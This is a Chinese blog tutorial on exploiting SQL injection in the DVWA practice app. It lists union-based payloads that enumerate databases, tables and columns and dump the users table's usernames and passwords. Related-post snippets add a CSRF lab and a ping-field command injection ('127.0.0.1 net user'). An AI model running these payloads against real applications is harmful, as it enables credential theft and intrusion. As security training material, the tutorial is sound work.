MySQL注入試用 DVWA親測SQL注入漏洞

2021-10-18 05:36:00 字數 2963 閱讀 5588

當然,我們也可以使用注釋來注釋後面的單引號

sql中注釋 單行可以使用 #(忽略) --(忽略),多行使用//

我們試試1' #

下面我們來利用漏洞獲取資料庫資訊

大概步驟就是:

1.猜解所查詢的字段數目

2.獲取字段顯示位

3.通過顯示位獲取資料庫資訊

4.獲取資料庫中的表名

5.獲取表中的列名(字段)

6.匯出資料庫中的資料

7.驗證匯出資料的有效性

猜解所查詢的字段數

方式1: order by num

若num數值超過了字段數,則查詢會報錯,從而判斷出select語句所查詢欄位的數目

輸入:1' order by 2 #

報錯,說明資料表中只有兩個字段

方式二:union select 1,2,3...

若union select後的數字位(不一定是1/2/3,只要有數字佔位即可)與實際查詢的字段位不完全對應時,查詢就會報錯,直至調整到不報錯時的佔位個數,從而判斷實際查詢的字段數

輸入:union select 1,2 #

輸入:union select 1,2.3 #

獲取欄位的顯示位

既然顯示位顯示的是我們設定數值,那麼我們就通過顯示位獲取資料,輸出出來

通過顯示位獲取資料庫資訊

此處會用到mysql注入常用的一些函式,可參看此文==>sql注入常用的內建函式整理(以mysql為例)

獲取當前連線的資料庫名稱、dbms的版本(mysql的版本)

獲取當前連線資料庫的使用者

獲取伺服器的作業系統、資料庫的儲存目錄

獲取資料庫中所有資料庫名

在此之前,科普一下資料庫的知識

mysql的資料庫information_schema,他是系統資料庫,安裝完就有,記錄是當前資料庫的資料庫,表,列,使用者許可權等資訊

information_schema.schemata 記錄所有的資料庫名稱

information_schema.tables: 記錄表名資訊的表(也有資料庫名字段)

information_schema.columns: 記錄列名資訊的表(資料庫名、表名、欄位名)

1' union select 1,schema_name from information_schema.schemata # 可能是許可權問題,沒有全部爆出來

去資料庫執行是這樣的

我們發現資料庫dvwa正是我們想要的,因此,通過此資料庫,去爆表

獲取當前連線資料庫(dvwa)中的所有表

1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #

where .. 後面表示的限制的條件,只查資料庫名是dvwa的表

獲取表中的列名(字段)

1' union select 1,column_name from information_schema.columns where table_name="users" #

這樣輸出有點亂,我們使用group_concat()將他們簡單的輸出出來

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

如果你覺得有點擠,看的不舒服的話,你可以

1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #

知道了資料庫的表名、欄位名就可以爆表了

爆表1' union select 1,concat(user,'--',password) from users #

還有其他更多的匯出操作,一些匯出函式的使用,可以自行嘗試

驗證匯出資料的有效性

ok!!

medium

只是閉合方式不同

其餘操作步驟與上差不多

high

想辦法閉合,其他就自然好起來了!

DVWA親測CSRF漏洞

csrf是一種跨站點請求偽造,即使用者在a站點登入後,處於同一客戶端的b站點利用漏洞獲得了a站點的cookie等身份驗證資訊,並偽造成合法身份請求a站點。1 low級別的csrf漏洞利用。將安全級別設定為low,並提交一次修改密碼,通過抓包得到相應的get請求報文。在另一台伺服器上構造乙個網頁,標籤...

2 DVWA親測命令執行漏洞

先看low級 提示讓我們輸入乙個ip位址來實現ping,猜測會是在系統終端中實現的,我們正常輸入127.0.0.那我們就可以利用這個使用其他cmd命令 我們輸入127.0.0.1 net user 我們順便看一下源 if isset post submit else feedback for the...

LINUX安裝Mysql 親測可用

1 檢視mysql版本 方法一 status 方法二 select version 2 mysql啟動 停止 重啟常用命令 a 啟動方式 1 使用 service 啟動 root localhost service mysqld start 5.0版本是mysqld root szxdb etc s...